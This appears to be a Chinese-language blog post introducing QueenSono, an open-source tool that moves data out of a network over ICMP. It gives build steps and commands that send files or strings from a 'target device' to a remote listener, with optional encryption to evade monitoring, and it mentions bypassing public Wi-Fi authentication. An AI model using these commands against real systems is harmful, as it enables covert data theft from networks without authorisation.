如何使用QueenSono從ICMP提取數據
VSole2021-10-20 16:52:33
關于QueenSono
QueenSono是一款針對ICMP協議的數據提取工具,該工具基于Golang開發,并且只依賴于ICMP協議不受監控這一事實實現其功能。除此之外,該工具也可以用于基本的ICMP檢查,或繞過某些身份驗證機制,比如說許多公共Wi-Fi在連接到Wi-Fi(如機場Wi-Fi)后用于對用戶進行身份驗證。
工具安裝
從源碼安裝
廣大研究人員可以直接使用下列命令將該項目源碼克隆至本地,并安裝好該工具所需的依賴組件:
git clone https://github.com/ariary/QueenSono.gitmake before.build
下列命令可以構建ICMP包發送器-qssender:
build.queensono-sender
下列命令可以構建ICMP包接收器-qsreceiver:
build.queensono-receiver
工具使用
ICMP包發送器-qssender將負責把ICMP數據包發送至監聽器,因此我們需要將qssender源碼傳輸到目標設備上。
ICMP包接收器-qsreceiver就是我們本地設備上的數據包監聽器了。
所有的命令和工具參數都可以使用“—help”來查看。
工具使用樣例1:發送包攜帶“ACK”
在這個例子中,我們將發送一個大型文件,并查看接收到數據包之后的回復信息:

在本地設備上,運行下列命令:
$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt
參數解釋:
-l 0.0.0.0:監聽所有接口的ICMP數據包
-f received_bible.txt:將接收到的數據存儲至文件
-p:顯示接收數據的進度條
在目標設備上,運行下列命令:
$ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #download a huge file (for the example)$ qssender send file -d 2 -l 127.0.0.1 -r 10.0.0.92 -s 50000 bible.txt
參數解釋:
send file:發送文件
-d 2:每兩秒發送一個數據包
-l 127.0.0.1:每次接收回復信息的監聽地址
-r 10.0.0.92:運行了qsreceiver 監聽器的遠程設備地址
-s 50000:每個數據包需要發送的數據量大小
工具使用樣例2:發送包不攜帶“ACK”
在這個例子中,我們希望在不等待回復信息的情況下發送數據:

在本地設備上,運行下列命令:
$ qsreceiver receive truncated 1 -l 0.0.0.0
參數解釋:
receive truncated 1:如果沒有收到所有數據包,則不會無限期等待
在目標設備上,運行下列命令:
$ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 127.0.0.1 -r 10.0.0.190 -s 1 -N
參數解釋:
-N:無回復選項
工具使用樣例3:發送加密數據
在這個例子中,我們將發送加密消息。由于命令行可能會被監控,因此我們將使用非對稱加密(防止密鑰泄露):

在本地設備上,運行下列命令:
$ qsreceiver receive -l 0.0.0.0 --encrypt<OUTPUT PUBLIC KEY>
參數解釋:
—encrypt:使用加密交換,它將生成公鑰/私鑰。公鑰將用于qssender加密數據,私鑰將用于接收器解密數據
在目標設備上,運行下列命令:
$ export MSG="<your message>"$ export KEY="<public_key_from_qsreceiver_output>"$ qssender send $MSG -d 1 -l 127.0.0.1 -r 10.0.0.190 -s 5 --key $KEY
參數解釋:
—key:提供數據加密的密鑰
項目地址
QueenSono:【點擊閱讀原文】
參考資料
https://github.com/ariary/QueenSono/tree/main/hack?
VSole
網絡安全專家